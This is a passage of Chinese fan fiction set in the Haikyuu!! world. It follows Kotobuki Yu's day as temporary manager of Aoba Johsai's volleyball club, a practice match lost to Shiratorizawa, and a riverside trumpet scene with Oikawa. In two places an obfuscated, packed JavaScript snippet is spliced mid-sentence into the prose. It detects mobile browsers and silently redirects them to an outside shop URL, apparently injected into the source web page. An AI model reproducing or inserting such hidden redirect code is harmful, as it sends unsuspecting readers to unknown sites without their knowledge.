及川彻一本正经用字正腔圆的声音说着:“你,还在为如何拥有和睦的社团关系而烦恼吗?你,还为如何解决沟通难题而抓耳挠腮吗?走进青叶城西排球社,体验一日社团经理,带你领会良好社团背后的秘密。” 琴吹悠狐疑:“真有用?” 她向一旁的岩泉一求证。 少有的,岩泉一非常严肃地点点头,表示赞同。 琴吹悠拿出手机,核对了自己的日程表,下周五月聆老师要去别的学校交流, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228650|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改为自由训练。 她说:“下周五有空。” 岩泉一和及川彻四目相对,开始思考。 及川彻:“你还记得周五是干啥吗?” 岩泉一:“貌似有约训练赛。” 及川彻:“我也记得有这回事。” 琴吹悠插入:“你俩,都没记个日程表?” 及川彻和岩泉一:“教练记了,我们也记在脑子里了。” 记在脑中的二人苦思冥想,终于,岩泉一想起:“下周五,原先是约和伊达工业,但是教练说对方没空,最近在约别的,好像还没定下来吧?” 及川彻:“有这么回事。” 岩泉一:“再问问?” 他俩预热着烤箱,打去了电话:“和谁?!!” 琴吹悠望着两人五彩缤纷的面孔,好奇:“和谁?” 岩泉一挂断电话:“…白鸟泽。” 及川彻做饼干的手速都快了起来,语速更是飞快:“约到了白鸟泽教练居然没有早点通知,小岩,有没有他们最近的比赛录像,我得回去看看,还有我们的战术也可以改变一下,总之我今天先把近期的录像再看一遍……” 琴吹悠:“白鸟泽是那个升学率很高,紫色格裙的学校吧。” 她拽了拽及川彻的衣角:“你,帮我弄饼干,把黄油和糖霜放进去,霍愣霍愣,一圈,两圈……然后用擀面杖。” 琴吹悠看了看饼皮,又看了看及川彻:“好了,正常了。” 岩泉一颇感兴趣地观察着。 居然这么迅速地让急于备战的及川冷却下来,比他的岩拳还管用。 琴吹悠是门外汉,她对排球领域一窍不通,也只被及川彻撺掇着看过几场他们的比赛。 对白鸟泽的认知只在,这是一所升学率较高的学校。 除此之外,几乎一无所知。 但她能从及川彻的反应看出一些端倪。 不过,门外汉最能发表一些膨胀的言论。 她指着那张还有点厚的饼皮,对及川彻说到:“看到那张饼皮了吗,那就是白鸟泽。” “管它白鸟泽黑鸟泽,你呢,就拿着这个擀面杖,duang一下,给它擀平。” 她说得豪情万丈,及川彻也眼里有光,擀得越发卖力。 琴吹悠一边点头,嘴里话也不停:“对咯,多使点劲,把它擀得又薄又扁。” 她对岩泉一使了个眼神,岩泉一心领神会,把自己的那份也悄悄递过来:“好!来,把这份也给它擀平。” 她拿着小饼干模具,快活地印着自己喜欢的小动物形状。 由于及川彻的高效运转,三两下,他们的小饼干就初具雏形,只需要放入烤箱就能完成。 此时,及川彻已经飘飘然,他的手中倍有力量,感受到白鸟泽仿佛在他手里被擀平,牛岛若利弯下腰,一字一句说着:“我输了。” 直到快回到家,他看着手中的饼干袋,随手抓了两块饼干,都是小猪的模样。 又抓了三四块。 小猪、小猪、小猪…… 他抓住想要逃跑的岩泉一,后知后觉地冷笑:“小岩……” 岩泉一举起双手:“感谢你的付出,勤劳的擀面工。” 11. chapter 11 - “我也要跑吗?” 琴吹悠今天为了方便行动,特地扎了高马尾。 据她所知,排球部经理兼任数职,在做一行专一行心态以及top癌的双重加持下,即使是一日经理,她也打算认真对待。 但她没听说过排球部经理也要跟着晨跑。 岩泉一:“他确实是在骗你的。” 及川彻灵活走位躲避琴吹悠的制裁,目光不由得跟着一晃又一晃的高马尾。 看得他手痒。 不过,即使是欠打如他也不会做出这般小学生的行径,他克制着挪开视线,解释道:“我是出于好心!跟着我们一起跑,是不是能多观察一点我们排球部的日常,拜托,一日经理,要充分利用各种时间。” 琴吹悠掰弄着手指,迟疑:“可是我追不上你们吧?” 及川彻怂恿:“慢跑、慢跑。” “好吧,跑不动我自己掉头返回。” “好耶!”及川彻欢呼,“不过,我打下预防针,你千万别被我们排球部的人吓到。” 琴吹悠冷哼。 有什么好被吓到的? * T_T 拜托,她是误入什么巨人国了吗? 虽然有目睹过他们一行人浩浩荡荡晨跑,但第一次这么凑近了看,琴吹悠大为震撼。 原本,她早已适应了及川彻和岩泉一的海拔,然而排球部卧虎藏龙。 有几位部员,她目测身高都已经逼近一米九。 她悄悄看向那个发型独特的藠头脑袋,心想,假如他站上身高测量仪,那种发型绝对算作弊吧? 不知为何,自从她踏入排球馆,懒洋洋站成一排部员突然挺直了身体,但更像一堵墙了。 琴吹悠自以为想通了其中的诀窍,和及川彻小声说着:“原来你这么有威严吗?” 及川彻抽了抽嘴角。 他从未想过这群人如此会装腔作势。 琴吹悠上前一步,跟众人弯腰打招呼:“大家好。” 面前的一堵墙连忙折了一半,鞠躬比她还标准:“学姐好!!” 琴吹悠摸了摸自己的鼻尖:“我去拿装备了?” 她提前就把汗巾和水放在了休息室内,跑完步大概会派上用场。 岩泉一:“我也一起去。” - 花卷长舒一口气:“我好紧张!拜托,你也没说我们的一日经理是琴吹悠啊?” 松川锤了锤及川彻的后背:“你不能给力点吗,让我们的排球部能有个常驻经理。” 金田一询问:“琴吹学姐很有名吗?” 矢巾:“这你们新生就不懂了,青叶城西文艺汇演,每年座无虚席,一半都是因为琴吹学姐。” 跟唱双簧一般,花卷接过话茬:“琴吹她之前参加过非常多大赛,还开过个人吹奏会,说实话,大家都是抱着「虽然听不懂,但很牛逼」的心态去看文艺汇演的。” 金田一:“那怎么会在我们青叶城西上学?” 及川彻止住话头:“当然是因为到哪学都不影响她吹小号。你们几个刚刚都是什么反应啊,不是说好了做自己?” 矢巾:“拜托,她一走进来,排球部的光照到她脸上都会反光。” 国见英:“学长,你站在她旁边,真的好黑啊…” 及川彻怒了:“我黑?那小岩不都看起来像碳啦!” 好巧不巧,小岩及时持一箱水先行一步赶到,他放下水,表情可怕:“是吗?” 及川彻滑跪:“小岩超有范,美黑。” 花卷忍不住“噗呲”出声,此声激怒了小岩,他向及川彻使出岩拳。 国见英心想,及川学长的技能点大概全点在了二传和惹人上吧。 美黑。 他也有点忍俊不禁地低下头,以防笑出声也被波及。 及川彻嚷嚷:“小岩,笑的又不是我。” 岩泉一清汤大老爷:“但是你先挑起的。” 琴吹悠带着一沓毛巾走进排球馆,乌泱泱地,一帮城墙绷着脸说着“我来吧”,抢着接过了毛巾。 远处,她看见及川彻和岩泉一你一脚我一拳地又扭打在一起。 这很日常了。 原来,排球部只有两个不靠谱的人。小岩是被及川彻带偏的,那算1.5个。 她看向花卷:“花卷同学。” 花卷一震:“在!” 她觉得花卷同学的名字最好记,是她很喜欢吃的一种面点。 琴吹悠看了眼手表:“我们是不是该跑步了?” 她眺望还在扭打的及川彻与岩泉一,越俎代庖:“别管他们了,我们先跑吧,反正他俩会跟上。” 几乎没有犹豫,他们浩浩荡荡地离去,留下了还在缠斗的队长和副队长。 - 谁管这叫慢跑? 琴吹悠在心里又给及川彻记上一笔,一边紧跟队列。 起先,青叶城西的众人都偷偷放慢了脚步。在琴吹悠说完“不用在意我,你们自己跑”之后,他们跟脱了僵的野马,只留下一地尘烟。 琴吹悠叹为观止。 她看向身侧,只留下国见英一人慢悠悠地跑着:“你不跟上他们吗?” 国见英很有余力,但仍不加速:“慢跑。” 琴吹悠跟着他匀速的脚步,也不自觉地慢了下来:“看着他们跑远了,你不会急吗?” 国见英咸鱼的脸色闪过诧异的神色:“这种速度就够了。” 好佛系的心态。 琴吹悠觉得光是听国见英说话,自己都和要被超度了一样,即将迈入咸鱼至上教。 但她看着渐行渐远的众人,还是不免有点焦虑,想要加快步伐。 国见英淡淡:“学姐,你跟不上他们这群体力怪物的。” 他眼见琴吹悠脸上挂着逆反的斗志,觉得自己看破了什么,他叹息:“这不是激将法。” 国见英抛出最后一击:“我们今天早上的晨跑计划是围绕青叶城西跑八圈。” 琴吹悠升起的斗志被扑灭了。 她瞠目结舌:“八圈?” 国见英点头:“他们这么跑,跟着会累成狗的。” 在绝对的鸿沟面前,琴吹悠只能慢下脚步,否则跟下全程实在够呛。 “琴吹琴吹琴吹琴吹………” 琴吹悠:“苍蝇在叫。” 及川彻:“你们怎么不跟我和小岩说一声,就开始跑了呢,害得我们追得累死累活。” 琴吹悠看了眼他的额间:“汗都没流,说谎。” “我和小岩打完架,发现场馆空落落的,心都碎了!” 岩泉一:“不要造谣。” 及川彻:“没想到琴吹你可以坚持跑这么远。” 他看着突然加速的岩泉和国见:“喂,你们两个突然加速,犯规!” 岩泉和国见早已没影了。 琴吹悠感到被欺骗:“国见学弟明明说,跑这个速度就够的。” 及川彻摸不着头脑:“国见之前,让他跑快点都催不动的,今天变异了?” 变异的国见英侧目盯着边跑边笑的岩泉学长:“学长,你好古怪。” 岩泉一:“抱歉抱歉,可以告诉我你怎么跟我一起突然加速了呢?” 国见英淡淡:“比起跑步,我更讨厌当电灯泡。” 岩泉一:“他俩不是一对。” 看着国见英淡然的面庞出现裂缝,狐疑、难以置信、茫然……五花八门的神色齐聚一堂,岩泉一笑得更大声了。 国见英询问:“凑在一起自动开启结界,你一嘴我一嘴让人插不上话,这样的人不是情侣?” 岩泉一有了一种,总算有人能和他分享这份心情的喜悦感:“还真不是。” 国见英:“好奇葩。” 岩泉一:“你也觉得吧。” 浑然不知的两人还在斗嘴。 及川彻:“琴吹~我发现,我走路也跟你差不多快欸!” 琴吹悠炸毛:“那你就赶快跑到前面去。” 及川彻:“不要,我要监督你,看你能坚持多久。” 他估算了一下两人的速度:“等这样跑完两圈,他们今天也差不多跑完八圈了。” 他、好、欠、揍。 琴吹悠停下了脚步,叉着腰站在原地。及川彻茫然地也跟着放慢了脚步,转身回头。 琴吹悠冲他招了招手。 及川彻有些警觉地扫视笑容满面的琴吹悠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228651|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是上前了两步。 琴吹悠眨眨眼:“今天你的头发好服帖哦。” 及川彻得意:“那可不,我用独家诀窍吹的,即使跑步迎着风,发型也不会乱。” 琴吹悠体能或许有限。 但她的弹跳力惊人,曾获女子组跳高亚军。 她一跃而起,揽住及川彻的肩,他一时不查地弯下腰。 琴吹悠一边狂笑,一边用双手狂薅他的头发,幽幽:“让你监督我,跑在我的旁边笑我,今天,你就顶着鸡窝头去见队友和打训练赛吧!” …… 察觉到及川彻乖乖弯着腰,久久不说话,琴吹悠有点不自在。 莫非,是好不容易吹好的造型被扰乱,他破防,低头垂泪?! 琴吹悠有点小慌:“你抬个头呗?” 及川彻系统停止响应。 她收住蹂.躏头发的手,退后两步,缓缓蹲下,抬头认真观察及川彻的神色。 好像没哭,只是有点傻。 她放下心来,半蹲着仰头询问:“你干嘛。” 及川彻喃喃自语:“没有人这么摁过我的头发。” 嘶。 她早有耳闻,男高中生是一种自尊心极强的生物,在某些奇怪的地方,他们总会有熊熊的好胜心。 一日经理把队长弄破防了。 她想起今天自己的职责,应该是妥善处理排球部事物才对。 琴吹悠思来想去,自己对「头发」,目前没有任何捍卫的念头。 要不,让他报复回来得了? 琴吹悠觉得这是一个绝妙的主意。 她扣住及川彻的手腕,缓缓地放置在自己的脑袋上,她正气凛然,一闭眼:“你报复回来吧!” ……啊? 他只是被琴吹悠一顿乱薅,脑内暂时一片浆糊,才有些宕机。 要是别人狂薅他的头发,他绝对会原地起跳,誓死捍卫自己的发型。 但为什么自己会宕机呢? 好像头发乱了也没那么重要。 耳边一直回荡着琴吹悠杠铃般的笑声,听得他自己都有些想笑。 所谓失落的表情,才是装出来的。 但现在是什么奇怪的发展? 他看着自己被拽着放在琴吹悠脑袋上的手,分明对方没有使力,手腕却滚烫着,像是一口气垫了三百下排球,烫得不像话。 他彻底死机,愣在原地,做任何动作都有些局促。 他思考着是否要抽回手,又怕自己突然收手的举动太不自然,显得怪异。 只有一双眼睛还算清明。 他想起矢巾说,排球馆的灯光照在琴吹悠白皙的脸上,像泛着光。 但她面前的光被他的身躯挡住,睫毛像蝴蝶翅膀一样微微颤动。 应当是没有光的。 “都叫你报复回来了,还犹犹豫豫的,跑不跑步了?” 他默不作声,顿了顿,轻轻摁了下,若无其事地收回手。 琴吹悠立马蹦哒了起来,她站直了身:“这件事,之后不能计较了。” 及川彻:“…哦。” 今天是个明媚的春日,万里无云,太阳照在人身上,温暖却不灼人。 他迎着太阳,仰起头,预估的时间没有出错,吵吵闹闹着,他们跑完两圈所用的时间也刚好抵过其余部员跑的八圈。 花卷和松川从远处跑来,嚷嚷着他故意偷懒,一人架住他的一边手臂,接着框框给他来了两拳。 “拜托,我真不是故意偷懒。” 琴吹悠背着手,眼里粹着笑,高高的马尾被风吹得晃了晃,她捋了捋不听话的刘海,无声地比着口型: 「队长,你的威严在哪里」 他恍若被拉回了吹奏会的台下,小号反射的光斑一颤一颤,把手背熨得滚烫。 他忽然有点犹豫不决。 那一天,舞台上的射灯和琴吹悠,谁才是小号的光源? 花卷:“不是吧哥们,才跑了两圈,你脖子怎么就那么烫?” 及川彻嘟囔:“今天很热啊。” 他推搡着花卷和松川,转移话题:“跑完了就快点回场馆,教练和我还要跟你们初步说一下战术呢,别忘了我们今天的对手是谁……” 12. chapter 12 及川彻身为队长,在「日常」相处中可谓毫无威严,在三年级的部员中更是“团欺”的弟位。 不过…… “是不是感觉他一碰到和排球相关的事情,就完全不同了?” 琴吹悠抱在怀里的排球险些滑落,她赶忙抱紧排球,随后看向眯眼慈爱笑着的排球部教练。 对方不知何时,神出鬼没地来到了她的身旁。 她想起了先前自己与及川彻“拉郎”的聊天记录,一时有些心虚地垂下脑袋。 完全不同吗? 稍微比平常靠谱一点吧。 琴吹悠:“勉强靠谱一点。” 教练发出豪迈的一串笑声,目光望向围着及川彻、细化战术部署的一群人:“我之前跟他开玩笑,说他很适合当教练。” 琴吹悠的眼睛弯成月牙:“他才不会愿意。” 当教练没什么不好的。 用自己的经验和技术养育下一代排球选手,看着他们在赛场上发光发热,为他们感到骄傲。 教练:“你倒是猜的准,是有什么依据吗?” 琴吹悠:“当教练会为自己的球员感到骄傲,至于及川彻,他只想成为自己的骄傲。” 跟随教练望向那帮高矮不一的脑袋,她思索片刻,纠正:“还有球队的骄傲。” 琴吹悠说完,像是被自己的话酸到,脸拧巴地皱成一团,解释道:“教练,我没有任何帮他说好话的意思,翻译一下我上面的话就是这家伙比起看别人好过,更喜欢自己好过。” “你可千万别告诉他我说的这些话,他极其擅长脑补!” 哎呦。 入烟教练方正的国字脸露出与外貌不符的甜腻微笑。 他想到了自己和夫人校园时代的青葱岁月…… “教练。”琴吹悠一脸狐疑地端详着出神的入烟教练,严肃强调,“您听到了吗?” 入烟教练:“好好好,听到了。” 虽然与琴吹悠只见了一面,但凭借当教练多年的识人本领,他敏锐感知到如果把自己的内心活动告知琴吹悠,一定会发生极为严重的后果…… 入烟教练转移话题:“前面看到你和及川一起玩,弹跳力很优越啊,有没有学排球的打算?” 琴吹悠歪了歪头,记忆开始倒带,她什么时候展现自己的弹跳力了? ……她想起来了,自己一跃而起,敲打及川彻的脑袋。 可那时候明明没有人啊! 青叶城西排球部的教练是什么在任何地点随机刷新的幽灵,默默观察部员的练习活动吗? 她突然有点不好意思,因为自己与及川彻过分幼稚的互动被尽收眼底:“我性子比较独,不适合这种团体运动,而且,我最喜欢的是小号,目前也只想把自己的全部精力放在小号身上。” 入烟教练轻咳一声,本来是跟琴吹悠开个玩笑,结果对方那么郑重地回答了,他反倒有点不自在:“…我明白了,不过,有一点我很想纠正。” “排球是一项团体运动,但不代表它不适合那些独来独往的人,倒不如说绝大部分有天赋的球员都是有傲气在的,他们有自己的看法,有时候还听不进去队友和教练的话……” 入烟:“但球队并不会因为他们的存在而分崩离析,好的教练就要会磨合队伍,将他们的独特融入进队伍的风格。比赛打多了,磨合的日子长了,他们自然而然就会明白……” 琴吹悠忍不住追问:“明白什么?” 入烟教练看着这位同样是把傲气写在脸上的孩子:“明白自己得分的快乐,与和团队一起得分的快乐,都是最纯粹的快乐。” 比起常跟他顶嘴的那群臭小子,琴吹悠产生困惑后,变成蘑菇蹲在原地沉思的样子过于乖巧,入烟教练控制不住自己的嘴巴,多提点了一句:“想融入团队,首先要先开放自己。” 琴吹悠:“才不要,会被讨厌。” 入烟教练心想,顶嘴的速度倒是不输给那群小子。 入烟教练:“这样,我教你,你可以先找几个人试一下……” - 青叶城西的众人刚结束讨论四处寻觅教练,看到的就是年过半百的教练拉着他们的临时经理说悄悄话。 及川彻跑到他俩旁边:“教练,又在忽悠人呢?” 入烟教练笑道:“没你能忽悠,又布置了一堆战术,现在还紧张吗?” 及川彻嘟囔:“我什么时候紧张过?” 身后的部员此起彼伏地“切”。 入烟教练:“好了,晨练到此结束,大家都各自回班上课吧,放学之后在学校门口等大巴。” “是!!” - “小岩。”琴吹悠用气声问道,“不是吧,他怎么吃饭也用着手机看录像。” 走进食堂的时候也不跟自己的粉丝后援会开屏了。 岩泉一用筷子敲了敲及川彻的碟子,督促一句“好好吃饭”,解释:“虽然都是对手,但白鸟泽的地位比较特殊。宫城县进入全国大赛的名额只有一个,从高一到高三,我们从来没有拿到过。” 琴吹悠:“因为输给白鸟泽?” 岩泉一点点头。 琴吹悠:“训练赛也没赢过吗?” 岩泉一:“再问下去我也吃不下饭了。” 琴吹悠乖乖闭上嘴。 一顿饭下来,两人食不知味,饭量大如牛的及川和岩泉吃得竟然和她差不多。 下午两点,坐得近的岩泉一肚子率先宣告战败,发出雷鸣般的响声。 琴吹悠嗤笑一声,从抽屉里拿出锡纸包着的高汤炸豆腐:“吃。” “及川同学。”鹿人贾顶着被老师发现的风险,转头递给他,“琴吹同学递过来的。” 及川彻饿得前胸贴后背,他回道:“谢谢。” 琴吹悠传来的东西用布袋包裹着,布袋之上用便利贴画着一只栩栩如生的小猪,一看就是在诋毁他。 及川彻一笑,把小猪便利贴摘下,小心地铺平,夹在自己国文书的目录页。 这叫保留犯罪证据。 他打开布袋,熟悉的包装纸映入眼帘。 牛奶面包。 把书本叠高堆成堡垒,及川彻欲盖弥彰地躲在后面,撕开包装袋,咬下一口牛奶面包。 饥饿的他一下被勾起了食欲,本想囫囵吞枣消灭牛奶面包的他不知为何顿住了,一边有些出神,一边一口一口地咀嚼着。 吃完,他险些把包装袋也夹到国文书的目录页。意识到自己荒唐的行径,他赶忙合上国文书。 讲台上的老师背过身,他讲华夏唐代慧能大师的典故:“时有风吹幡动……” 靠窗的同学没有合上窗户,一阵风吹过,把不少同学的书页吹得哗哗作响。 及川彻的书页翻飞不止。 老师听着风声,面对此情此景,讲得更起劲了:“一僧曰风动,一僧曰幡动。” 狂风总算停下,翻飞的书页落在目录页。 琴吹悠一手绘制的小猪便利贴咧着猪嘴朝他笑。 他托着下巴,也不明所以地对那只小猪回以一笑。 “有人知道这个典故,慧能大师最后是怎么回答的呢…看来琴吹同学知道。” 听到熟悉的名字,及川彻才结束与小猪便利贴的对视,一转头,视线便稳稳定在琴吹悠的身上。 大概是老师问了什么琴吹悠知道的问题,及川彻仿佛都能看见琴吹悠得意扬起的嘴角,不过现下座位离得远,他看得并不分明。 琴吹悠:“慧能大师说‘仁者心动’。” 及川彻一个踉跄,差点从椅子上滑落,长腿抵住前桌的椅子,硬生生把前桌往前蹬了一段路。 他赶忙向鹿人贾道歉。 鹿人贾提了提自己的椅子:“吓我一跳。” 及川彻说着“抱歉”,忍不住嘟囔两句:“咱们上着课呢,他们怎么讲什么心动不心动。” 鹿人贾恍若看着学渣,他扭头:“这是讲修行的,告诉我们不要因为外物,内心躁动。” 及川彻竖起国文书,捂住自己发红的脸颊。 暴露了,自己没有好好听国文课的事实。 * 巴士晃啊晃,停在了白鸟泽的大门前。 同为私立学校,白鸟泽的大门却更加金碧辉煌。一行人穿着青叶城西的队服穿行于人群间。 “竹内,走什么神呢?” 竹内光幸收回目光:“好像看到了认识的人,但她肯定不会去排球部吧。” 星野:“话说,你的老师神代大师也突然定居宫城,那位老师也是,咱们宫城是什么养老圣地吗……” 行至白鸟泽,众人也默契地停止了商讨战术。 花卷:“我觉得,白鸟泽的校服更好看,鄙人喜欢紫色,国见怎么看?” 国见英很不情愿地参与了这个无聊的话题:“青色吧。” 及川彻拍了拍国见的肩膀:“很好,国见,我早就看出了你是忠诚的青叶城西人……” 国见:“紫色,看上去是很累的颜色。” 众人:…… 何以见得? 琴吹悠:“确实,紫色一看就很浓,要用很多颜料,青色就很轻盈了。” 众人:……… 你俩居然能聊到一块? 云里雾里的及川彻站定在白鸟泽排球馆的门口,他双手握拳,高高举起:“打败白鸟泽,就在今天!” 金田一刚想抬起手跟着吆喝,就被岩泉一摁下了。 岩泉一一手拎着及川彻,一手拎着金田一:“都说了一万遍了,不许站在人家门口挑衅,还要带坏学弟。” 及川彻一边被拖着,一边高高挥舞自己的拳头:“打败白鸟泽!” 国见英:“学姐,咱们离远一点吧。” 琴吹悠严肃点头。 及川彻是谁?不认识。 - 琴吹悠今天在物理层面领略了什么叫做「一山总比一山高」 两队的队长站在一起交涉,牛岛若利比及川彻还高上许多,给人一种极有力量的压迫感。 及川彻一见牛岛若利,嘴欠程度呈指数级增长,众人却早已习惯,都不掺和其中。 琴吹悠看着人群中冒着一个张扬的红脑袋,他夸张地说:“你们居然有女经理了!” 花卷就等着这一刻,他脸上漫不经心:“是啊。” 虽然只是一日经理。 红脑袋:“经理,你想转学来白鸟泽吗?” 及川彻耳朵尖,立马转移阵地,护在前面:“不可以。” 他想到琴吹悠还没有回应,转过身,眨巴着眼睛:“你也不想转学,对吧?” 琴吹悠认真思考:“对不起,我喜欢青色。” 天童觉:“欸——好可惜。” 话说,及川彻居然能从和牛若的单方面呛嘴中抽身,顾及这边,实在是不可思议。 两队散开,进行赛前的准备活动,训练赛一触即发。 - 琴吹悠觉得双方像紧紧撕咬的雄狮。焦灼的比分并没有拉开极大的差距,双方紧盯彼此,企图撕裂对 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先前拉开的比分被不断调整的灵活战术追上。 天童觉随意一抹额间的汗,兴奋地说:“太有意思了!这种球路被看穿的感觉,牛若,他们绝对看了好多我们比赛的录像。” 白布:“但总有看穿但不讲道理的。” 比如牛岛学长的发球。 ——一力破万法。 他们又拿下一分。 天童:“欸——我也想拿分,让我猜猜他们的球路……” “…就是这里吧。”天童拦住了花卷的进攻,开心地朝他一笑,“看吧,我这样也能拿分。” “花卷,没事,再来一球。”及川彻高喊着。他专注地分析在场众人的状态,天童的直觉判断速度越来越快,逐渐进入状态,花卷刚刚丢了一球,有点沮丧。 小岩的状态起伏不大。 下一球给小岩。 他将三色排球高高抛起,那是一个岩泉一最喜欢的高度,用不着任何交流,岩泉一上前,重重扣下。 “BINGO,我们青叶城西也有王牌。” 岩泉一微微喘气,笑了笑,回了一个大拇指。 场下的琴吹悠也跟着松了一口气。 又被牛岛的一击扣发提了起来。 她怒道:“他不会累吗!” 入烟:“还远远没到他累的程度。” 上半场的比分以25:23告终。 白鸟泽拿下第一场。 及川彻:“天哪,你们一个个脸黑成这样,超丑的哦。” 松川:“得了,你这也跟从水里捞起来没两样。” 及川彻:“啊嘞啊嘞,被他们多拿了两分,下一场我们全都拿回来,看他们几个,也跟从水里捞起来的一样。” 国见英扫视对面,他慢吞吞喝了口水。 最难搞的大炮还站得笔直,可恶的体能怪。 琴吹悠给汗流不止的几位递上毛巾。 “还记得我今天在排球馆门口说的吗?” 琴吹悠记性好,她举起拳头,完美复刻:“打败白鸟泽,就在今天。” 霎时间,场馆变得有点安静。 远处的天童:“经理大人,就算是你放下的狠话,这种事情也不会发生哦!” 琴吹悠收起自己的拳头,指了指及川:“他说的。” 及川彻扑哧一笑:“小悠你复刻地不对啊,我有感叹号。” 他们围成一圈,一双双手交叠在一起:“青叶城西,加油!” * 第二场比赛以25:21告终。 金田一:“是我没有拦下那球。” 花卷跳起来,揉了揉他的脑袋:“你才刚进队,前面拦下的那么多球怎么不记得了?非要说,学长我丢的关键分可多了。” 及川彻踢了踢路边的石子:“是我没算到,他们的跳飘球也练了出来。” 岩泉一:“你是二传,又不是神算子,我扣球的压迫力不够。” 国见英:“……” 回到青叶城西,其余的部员往别的方向走,他们一行人慢慢地走在长长的坡道上。 琴吹悠:“现在是不是轮到我了。” 众人有些破功,纷纷笑出了声。 花卷:“感谢临时经理的水,抚平了我伤感的心。” 琴吹悠悄悄舒了口气。 这是她第一次故意说笑话逗别人笑,好在大家都笑了。 即使只是旁观者,她也忍不住在脑海中复盘先前的比赛。 ——青叶城西的众人拼尽全力。 这样才让人更难受。 牛岛若利的排球不讲道理地一发又一发,破开防线,拿下分数。 「一力破万法」 就跟她不想看到自己输一样,她也不想看到青叶城西的失败。 胸口有着绵长的隐痛,就像春日里连绵的细雨,她也觉得闷闷不乐,急需寻找一个出口。 及川彻把她送到分别的岔路口。 及川彻:“明天见。” 她扣住及川彻的手:“一起。” 她想去一个地方,带他一起去。 琴吹悠拽着及川彻的手腕,不停地向前奔跑,就像要飞起来一样,她听到胸腔中的风声呼呼作响。 连同不服输的心脏,喧嚣着,带着她前往想去的地方。 13. chapter 13 - 迎着风,琴吹悠额前的几缕刘海被吹得向后飘扬,奔跑了不知多久,她拉着及川彻,站定在河堤的一侧。 浑圆的落日为河面洒上金光。 “我们到下面去吧。”刚跑完步,琴吹悠的脸颊滚烫,微微喘着气。 及川彻伸手,背起她的小号包,跟在她的身后。 琴吹悠双手在身后交叉,金灿灿的马尾一摇一晃,他觉得有点晃眼,同时看了眼有些熟悉的桥,不解:“真是……我怎么就被你拐来了?” 顺着台阶,琴吹悠轻盈地往下走,一步能跃两三个台阶。她转过身,弯着眼笑:“来都来了,现在走不了了。” 俨然一副强买强卖的架势。 河岸的两侧,青绿色的草刚没过人的足尖,这里少有人烟,风吹动河水,泛起一阵阵涟漪,空旷而寂寥。甚至能听到他俩的回音。 琴吹悠随意地坐在草地上,拼装起小号,问道:“你在宫城县生活过这么久,来过这里吗?” 及川彻跟着坐下:“桥有点眼熟,但倒是没有下来,你呢?” 琴吹悠:“可能来过吧?有点不记得了。” 及川彻:“……?” 他双手撑着草地,仰头看着天上盘旋的几只白鹭:“我还以为这是什么特殊的地方,你一定要今天带我来。” 琴吹悠思来想去,回答:“或许很特殊呢?” 她组装好小号。 及川彻困惑:“琴吹你怎么也变成谜语人了。” 琴吹悠没有回答,她想起了一段往事。 过去,老师常跟她说,“凡音之起,由人心生也”,这是她所欠缺的,也是老师最想让她体悟的道理。 在很长一段时间,她被称为「演奏机器」,她能凭借一遍又一遍的练习完美诠释乐谱,却始终触碰不到他们所说的飘渺的情感。 她热爱小号,能为了跟着老师学习,毅然从京都转学到宫城,即使那些人把「领悟情感」说得玄而又玄,她也想要得到它,将它融入自己的演奏中。 但她始终缺少一个发端。 她难以找到情感的出口。 她感觉自己的一切像被封存在了汽水瓶罐中,这是她「装模作样」的弊端,真正的自己既嫉妒又好强,很难招人喜欢,于是,连同感情和嫉妒心,都被她封存在了那个瓶罐之中,只对特定的人打开,但这样的打开程度远远不够。 她也失去了汽水瓶的开瓶器。 今天,她好像找到了开瓶器一号——失败,具体来说,是对失败的厌恶。 琴吹悠讨厌失败。 失败意味着一切都被尽数吞没。 她只当了青叶城西的一日经理,见证了他们短暂一天的训练,千分之一的焦虑,但当哨声吹响,记分板翻过的那一刻,她的耳边响起嗡嗡的轰鸣。 时间被扭曲,拉长,脚下的场景也随之变化,她坐在舞台之下,不再是聚光灯下的演奏者,年迈的长者拿着比赛结果,宣读着名字,那样刺耳的声音和耳畔的哨声重合,她才想起——原来自己也输过比赛。 绘里音怪异的询问也变得合理。 并不是绘里音记错了,而是她选择了遗忘,即使目前的自己不清楚动机,或许是因为对失败的恐惧? 她忘记自己输掉了比赛,像一个逃兵,把失败的结果淹没在记忆的深处。 意识到这一点,琴吹悠有些茫然。 她跟随着青叶城西的众人,一路上,她若无其事地开些玩笑话,帮别人慰藉内心的苦闷。 浩浩荡荡的人群变成零星几人,最后又只剩下她和及川彻两人。 失败的苦闷积攒成厚厚的阴云,在她的心里下着小雨。 她想寻觅倾诉的出口。 很不巧,她性格拧巴,最擅长有话不直说,唯一倾诉的手段就是小号的声音。 但她的小号,又被称为没有情感的小号。 一切好像形成了无解的闭环。 但她很想尝试,尝试把这一切说出来。 她拽着乐痴及川彻,客观上,一个五音不全的人是最不适合倾听小号的对象,或许是病急乱投医,又或是自己都说不清道不明的心理,她还是拉上了及川彻。 他们坐在河堤旁的草坪上,琴吹悠自说自话地组装起小号,还没认真回答及川彻的问题,就随着心吹奏起来。 她演奏的不是完整的曲目,而是将记忆里零星的乐曲片段拼凑在一起,做成的组曲。 她听见自己的不甘、听见内心的犹豫、听见那时的自己甚至产生质疑,质疑自己是否应该接着演奏小号…… 一股脑将这些沉郁的情绪倾泻而出,她的心里似乎有些放晴了。 琴吹悠的眼里泛着光,吹奏还未停下,她心想,莫非这就是老师说过的音乐疗法? 